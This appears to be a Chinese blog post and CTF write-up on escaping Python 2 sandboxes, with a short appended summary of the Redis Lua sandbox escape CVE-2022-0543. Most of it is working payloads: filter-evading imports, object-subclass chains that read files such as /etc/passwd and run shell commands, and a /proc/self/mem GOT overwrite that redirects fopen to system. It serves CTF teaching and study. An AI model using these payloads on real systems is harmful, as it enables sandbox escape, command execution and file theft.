python 跳过_Python 沙盒绕过

本文详细探讨了Python沙箱逃逸的各种方法,包括通过路径导入模块、利用内置函数绕过限制、使用__dict__属性、以及通过__getattribute__等技术执行敏感操作。此外,还介绍了如何通过内存操作修改got表来实现更高级的逃逸。文章通过实例展示了如何在受限环境中获取系统权限并执行命令。
摘要由CSDN通过智能技术生成

思考了一下,Python沙箱逃逸的意义,不过就是如何通过绕过限制,拿到出题人或者安全运维人员不想让我们拿到的”危险函数”,或者绕过Python终端达到命令执行的效果。

起因

以前我也做过一些Python沙盒逃逸的小题目,也翻译和写过两篇关于Python沙盒逃逸的文章。然而在这次国赛的题目,我好像又进一步理解了Python沙箱…

绕过沙盒方法

关于import

通常思路,我们应该找到题目还给我们留下了什么,通常而言

通常而言,出题人一般是禁止引入敏感包,比如 os或者system,

0x01 绕过,通过路径引入

Python的os模块的路径几乎都是/usr/lib/python2.7/os.py中

所以我们可以通过路径引入一些模块

1

2

3

4>>>import sys

>>>sys.modules['os']='/usr/lib/python2.7/os.py'

>>>import os

>>>

0x02 dir 与dict

首先,我们应该确定程序还有哪些内置函数可以用,我们可以通过dir __builtin__ 来获取内置函数列表

1

2>>>dir(__builtins__)

['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

在Python中,不引入直接使用的内置函数被成为builtin函数,随着builtin这个模块自动引入到环境中

进而,我们可以通过__dict__引入我们想要引入的模块

两种方法都是一个目的,那就是列出一个模组/类/对象 下面 所有的属性和函数

这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西

我们可以通过__dict__做什么呢?

一个模块对象有一个由字典对象实现的命名空间…属性引用被转换为这个字典中的查找,例如,m.x等同于m.dict[“x”]

绕过实例:

首先通过 base64 绕过字符明文检测

1

2

3

4

5>>>import base64

>>>base64.b64encode('__import__')

'X19pbXBvcnRfXw=='

>>>base64.b64encode('os')

'b3M='

然后通过dict引用

1>>>__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))

如果一些 内敛函数在builtins__删除 ,我们可以通过reload(__builtins__)重新载入获取一个完整的__builtins

创建对象,以及引用

python的object类中集成了很多的基础函数,我们想要调用的时候也是可以通过创建对象进而引用

有常见的两个方法

1

2().__class__.__bases__[0]

''.__class__.__mro__[2]

python-sanbox-01.jpg

如,我们可通过

print ().__class__.__bases__[0].__subclasses__()[40]("/etc/services").read()达到文件读取的效果,

常见payload

1

2

3

4

5

6

7

8#读文件

().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件

().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

其他危险的函数

如execfile文件执行

1

2

3

4

5

6

7

8

9>>>execfile('/usr/lib/python2.7/os.py')

>>>system('cat /etc/passwd')

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

...

>>>getcwd()

'/usr/lib/python2.7'

timeit

1

2import timeit

timeit.timeit("__import__('os').system('dir')",number=1)

exec 和eval 比较经典了

1

2eval('__import__("os").system("dir")')

platform

1

2import platform

print platform.popen('dir').read()

getattr() 和 getattribute()

python 再访问属性的方法上定义了getattr() 和 getattribute() 2种方法,其区别非常细微,但非常重要。

如果某个类定义了 getattribute() 方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。

如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。

这里,我们可以通过__getattribute__这个方法做一些事,如下面的payload

1

2x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__

x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

间接的引用调用

在有些题目中,如这次的2018年国赛的Python沙盒题目上,import 其实整个是被阉割了。

但是在Python中,原生的import是存在被引用的,只要我们找到相关对象引用就可以进一步获取我们想要的内容,具体下面的demo会讲述到

write修改got表

实际上是一个**/proc/self/mem的内存操作方法

**/proc/self/mem是内存镜像,能够通过它来读写到进程的所有内存,包括可执行代码,如果我们能获取到Python一些函数的偏移,如system,我们就能通过想做pwn题的劫持got表做我们任意想做的事情

1(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

第一个地址是system的偏移,第二个是fopen的偏移,我们可以通过objdump获取相关信息

python-sanxbox-02.jpg

关于这次的题目

我们可以通过

print ().__class__.__bases__[0].__subclasses__()[40]("/home/ctf/sandbox.py").read()

获取题目源码,然后进一步分析

解决

三种方法

0x011

2

3

4x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__

x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s /home/ctf')

x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')

0x02

修改got

1

2

3

4

5(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('l'+'s /home/ctf/'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

0x03

间接引用

在不断的dir过程中,发现closure 这个object保存了参数,可以引用原生的import

1print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home')

参考

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根引用和引用,在Debian和Ubuntu的Redis发行版中,由于在Lua沙箱中遗留了一个对象package,攻击者可以利用该对象的方法加载动态链接库liblua里的函数,从而逃逸沙箱执行任意命令。但要利用这个漏洞,攻击者需要具有执行eval命令的权限,即攻击者经过认证或Redis本身未设置鉴权检查。 另外,根据引用,一些发行版本(如Ubuntu、Debian和CentOS)会在原始软件的基础上打补丁,其中有一个针对Redis的补丁。该补丁在lua_libs_debian.c中增加了一个include语句,并使用make生成补丁包。 综上所述,Redis Lua沙盒绕过漏洞存在于Debian和Ubuntu的Redis发行版中,攻击者可以利用这个漏洞来执行任意命令,前提是攻击者具有执行eval命令的权限,并且Redis未设置鉴权检查。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [Redis Lua沙盒绕过命令执行(CVE-2022-0543)](https://blog.csdn.net/weixin_45495060/article/details/123692356)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【CVE-2022-0543】Redis Lua沙盒绕过命令执行复现](https://blog.csdn.net/weixin_45329947/article/details/123531319)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [简单漏洞:CVE-2022-0543 Redis Lua 沙盒绕过](https://blog.csdn.net/qq_74447851/article/details/128791134)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值